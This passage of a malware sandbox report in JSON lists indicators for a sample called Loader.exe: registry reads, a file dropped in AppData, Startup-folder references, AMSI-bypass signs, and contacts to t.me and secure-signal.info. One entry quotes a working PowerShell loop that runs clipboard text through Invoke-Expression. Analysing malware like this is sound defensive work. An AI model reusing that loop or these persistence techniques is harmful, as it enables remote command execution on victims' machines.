\"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$32","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"Loader.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"Loader.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"Loader.exe\")\n Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"Loader.exe\")\n Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; File: \"Loader.exe\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Creates file in AppData directory","description":"\"Loader.exe\" writes to a file \"%APPDATA%\\806964ff31e2acc80.exe\"\n \"806964ff31e2acc80.exe\" writes to a file \"%APPDATA%\\806964ff31e2acc80.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-322","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"Loader.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"Loader.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{45F5205B-FA7A-11ED-8886-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007308-00000C17-3497521659\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004092-00000C17-3570472257\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008248-00000C17-3571675128\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00005928-00000C17-3585437247","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Loader.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"806964ff31e2acc80.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Loader.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"806964ff31e2acc80.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO Observed Telegram Domain (t .me in TLS SNI)\" (SID: 2041933, Rev: 2, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"Loader.exe\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"Loader.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007308)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004092)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008248)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005928)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134120513902265721.7308.DefaultAppDomain.powershell\" - (UID: 00000000-00007308)\n \"806964ff31e2acc80.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00008272)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134120516721647082.4092.DefaultAppDomain.powershell\" - (UID: 00000000-00004092)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134120516722436206.8248.DefaultAppDomain.powershell\" - (UID: 00000000-00008248)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134120517538858129.5928.DefaultAppDomain.powershell\" - (UID: 00000000-00005928)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"t.me\"\n \"secure-signal.info\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.20.29.150:443\"\n \"172.65.251.78:443\"\n \"149.154.167.99:443\"\n \"172.67.220.227:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"NtOpenFile\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"NtCreateFile\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; File: \"Loader.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"Loader.exe\")\n Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"Loader.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"Loader.exe\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"Loader.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Loader.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"Loader.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"Loader.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"Loader.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"Loader.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }\" (Indicator: \"Invoke-Expression\"; File: \"00000000-00005928\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"Loader.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp\n \":\\Users\\ToJLj8Z\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\users\\tojlj8z\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp\n 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp\n \"USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \"userprofile%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp\n \":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3b","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Executes powershell with commandline","description":"$3c","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Loader.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134120513902265721.7308.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134120516721647082.4092.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134120516722436206.8248.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134120517538858129.5928.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3e","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"file/memory contains long string with (Indicator: \"user-agent: \"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$3f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module 